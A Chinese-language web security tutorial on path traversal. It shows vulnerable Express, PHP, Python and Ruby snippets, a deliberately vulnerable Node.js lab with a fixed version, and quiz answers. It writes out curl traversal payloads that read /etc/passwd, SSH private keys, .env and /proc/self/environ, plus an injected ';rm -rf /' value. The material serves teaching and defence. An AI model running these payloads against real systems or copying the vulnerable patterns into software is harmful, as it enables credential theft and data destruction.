Path Traversal 是一種透過控制檔案變數來存取儲存在 Web 根目錄之外的檔案和目錄的攻擊。
攻擊者透過使用 "../" 及其變體,或使用絕對檔案路徑,
可能存取檔案系統上的任意檔案和目錄,包括應用程式原始碼、設定檔案和重要的系統檔案。
這種攻擊也被稱為 "dot-dot-slash"、"directory traversal"、"directory climbing" 和 "backtracking"、目錄穿越、目錄遍歷、路徑穿越。
Path Traversal 問題的出現主要有以下幾個原因:
Path Traversal 本身就是一個嚴重的安全弱點,但它通常與其他漏洞或設定問題結合使用,以產生更大的影響:
app.get('/config', (req, res) => {
const file = req.query.file;
res.sendFile(`/app/config/${file}`);
});
// 攻擊: /config?file=../../etc/passwd
<?php
include($_GET['page'] . ".php");
?>
<!-- 攻擊: ?page=../../malicious_file -->
app.post('/upload', (req, res) => {
const {filename, content} = req.body;
fs.writeFileSync(`/uploads/${filename}`, content);
});
// 攻擊: filename = "../.ssh/authorized_keys"
import os
filename = request.args.get('file')
os.system(f"cat {filename}")
# 攻擊: ?file=;rm -rf /
app.get('/template', (req, res) => {
const template = req.query.name;
res.sendFile(`/templates/${template}`);
});
// 攻擊: /template?name=../../malicious.html
require 'open-uri'
url = params[:url]
content = open(url).read
# 攻擊: ?url=file:///etc/passwd
這些例子展示了 Path Traversal 如何與其他漏洞結合,導致更嚴重的安全問題。
在實際應用中,應該謹慎處理所有使用者輸入,特別是涉及檔案操作時。
https://github.com/fei3363/ithelp_web_security_2024/commit/443688f78caa43bab779d844dd498ecefe817ac0
在 controllers/pathTraversalController.js
中輸入以下程式碼
const fs = require('fs');
const pathTraversalHandler = {
async readFile(req, res) {
const { filename } = req.params;
try {
const content = fs.readFileSync(`./files/${filename}`, 'utf8');
res.send(content);
} catch (error) {
res.status(404).json({ error: error.message });
}
}
};
module.exports = pathTraversalHandler;
在 routers/pathTraversalRouter.js
中輸入以下程式碼:
const express = require('express');
const pathTraversalController = require('../controllers/pathTraversalController');
const pathTraversalRouter = express.Router();
pathTraversalRouter.get('/:filename', pathTraversalController.readFile);
module.exports = pathTraversalRouter;
在 server.js
中輸入以下程式碼:
const express = require('express');
const pathTraversalRouter = require('./routers/pathTraversalRouter');
const app = express();
const PORT = 3000;
app.use('/api/pathTraversal', pathTraversalRouter);
路徑遍歷漏洞
const content = fs.readFileSync(`./files/${filename}`, 'utf8');
這行程式碼直接將使用者輸入(filename
)拼接到檔案路徑中,沒有任何驗證或清理。
攻擊者可以使用 ../
來存取 ./files/
目錄之外的檔案。
同步檔案讀取
fs.readFileSync(...)
使用同步方法可能導致效能問題,特別是在高併發環境下
錯誤處理不當
catch (error) {
res.status(404).json({ error: error.message });
}
直接回傳錯誤消息可能洩漏敏感資訊。不是所有錯誤都應該回傳 404 狀態碼。
缺乏輸入驗證
沒有對 filename
參數進行任何驗證,如檢查檔案副檔名或使用白名單。
缺乏權限檢查
沒有檢查使用者是否有權限存取請求的檔案
不安全的檔案讀取
直接讀取檔案內容並發送,沒有考慮檔案大小或類型
缺乏日誌記錄
沒有記錄存取操作,使得後續的審計和問題診斷變得困難
缺乏內容類型設置
未設置正確的 Content-Type 標頭,可能導致瀏覽器錯誤解釋檔案內容
path.resolve()
或 path.join()
來安全地建立檔案路徑,並確保最終路徑在允許的目錄內fs.promises.readFile()
filename
參數進行嚴格的驗證,如使用白名單或正則表達式參考程式碼,實際仍需要根據需求修改。
const fs = require('fs').promises;
const path = require('path');
const pathTraversalHandler = {
async readFile(req, res) {
const { filename } = req.params;
const safeFilename = path.basename(filename);
const filePath = path.join(__dirname, 'files', safeFilename);
try {
if (!filePath.startsWith(path.join(__dirname, 'files'))) {
throw new Error('Access denied');
}
const content = await fs.readFile(filePath, 'utf8');
res.setHeader('Content-Type', 'text/plain');
res.send(content);
} catch (error) {
console.error(`File access error: ${error.message}`);
res.status(error.message === 'Access denied' ? 403 : 404)
.json({ error: 'File not found or access denied' });
}
}
};
module.exports = pathTraversalHandler;
在這個部分,我們將使用 curl 指令來展示如何測試我們的網站,包括正常存取和嘗試各種 Path Traversal 攻擊。
正常存取檔案
curl http://localhost:3000/api/pathTraversal?filename=test.txt
curl http://nodelab.feifei.tw/api/pathTraversal?filename=test.txt
預期輸出
This is a test file.
表示網站功能正常運作,可以成功讀取 upload
目錄中的檔案。
嘗試簡單的 Path Traversal 攻擊
curl http://localhost:3000/api/pathTraversal?filename=../../server.js
curl http://nodelab.feifei.tw/api/pathTraversal?filename=../../server.js
如果網站有弱點,可能會看到 server.js
的內容。
如果有錯誤處理,可能會看到類似這樣的錯誤資訊:
{"error":"ENOENT: no such file or directory, open './upload/../../server.js'"}
代表從 upload 資料夾找不到該檔案
這個錯誤資訊透露了伺服器的檔案結構,這本身就是一個資安問題。
攻擊者可以利用這些資訊來調整他們的攻擊策略。
嘗試讀取 Linux 作業系統中的敏感檔案
curl http://localhost:3000/api/pathTraversal?filename=../../../../etc/passwd
curl http://nodelab.feifei.tw/api/pathTraversal?filename=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
如果成功,會看到 /etc/passwd
檔案的內容,這包含了系統使用者的資訊。
curl http://nodelab.feifei.tw/api/pathTraversal?filename=../config/config.js
尋找資料庫相關設定
curl http://localhost:3000/api/pathTraversal?filename=../../../../var/log/apache2/access.log
這可能會暴露伺服器日誌,包含敏感的存取資訊。
curl http://localhost:3000/api/pathTraversal?filename=../../../../home/user/.ssh/id_rsa
這可能會暴露 SSH 私鑰,允許未授權的伺服器存取。
curl http://localhost:3000//api/pathTraversal?filename=/../.env
這可能會暴露環境變數,包括 API 密鑰和其他敏感資訊。
curl http://localhost:3000//api/pathTraversal?filename=../../../../var/lib/mysql/some_database/users.ibd
這可能會直接存取資料庫儲存檔案。
curl http://localhost:3000/api/pathTraversal?filename=../../../../tmp/sessions.json
這可能會暴露臨時儲存的會話數據或其他敏感資訊。
curl http://nodelab.feifei.tw/api/pathTraversal?filename=../../../../proc/self/environ --output -
這可能會暴露 Node.js 執行緒的環境變數。
curl http://localhost:3000/api/pathTraversal?filename=../controllers/userController.js
這可能會暴露網站的源程式碼,包括潛在的安全邏輯。
編碼和雙重編碼:
百分比編碼(URL 編碼):
作業系統特定:
Null 字節注入:
導致目錄穿越攻擊的原因,包括輸入驗證不足、不安全的程式設計實務、權限管理不當等。
本次列舉了目錄穿越攻擊與其他漏洞結合後的嚴重影響,例如資訊洩漏、檔案包含漏洞、權限提升等。
以 Node.js 實作範例,展示了目錄穿越攻擊的過程,並提供解決方案和防範措施,
讓讀者可以更深入了解此漏洞的危險性和防範方法。
答案:c) 目錄穿越
解析:Path Traversal 也被稱為目錄穿越,這是此類攻擊的常見別名。
答案:c) 使用 HTTPS 協定
解析:HTTPS 是一種加密網站流量的協定,它本身並不能防止或導致 Path Traversal 攻擊。
其他選項都是可能導致 Path Traversal 漏洞的原因。
答案:b) "../"
解析:攻擊者通常使用 "../" 來表示上一級目錄,從而操縱檔案路徑。
答案:b) 對使用者輸入進行驗證和淨化
解析:驗證和淨化使用者輸入是防範 Path Traversal 攻擊的有效方法。其他選項是不安全的做法或是無法有效防止攻擊。
答案:C) fs.realpath()
解析:fs.realpath() 函數可以解析所有的符號連結並回傳絕對路徑,這有助於確保最終的檔案路徑不會超出指定目錄。雖然其他函數如 path.resolve() 也有類似功能,但 fs.realpath() 提供了額外的安全性,特別是在處理符號連結時。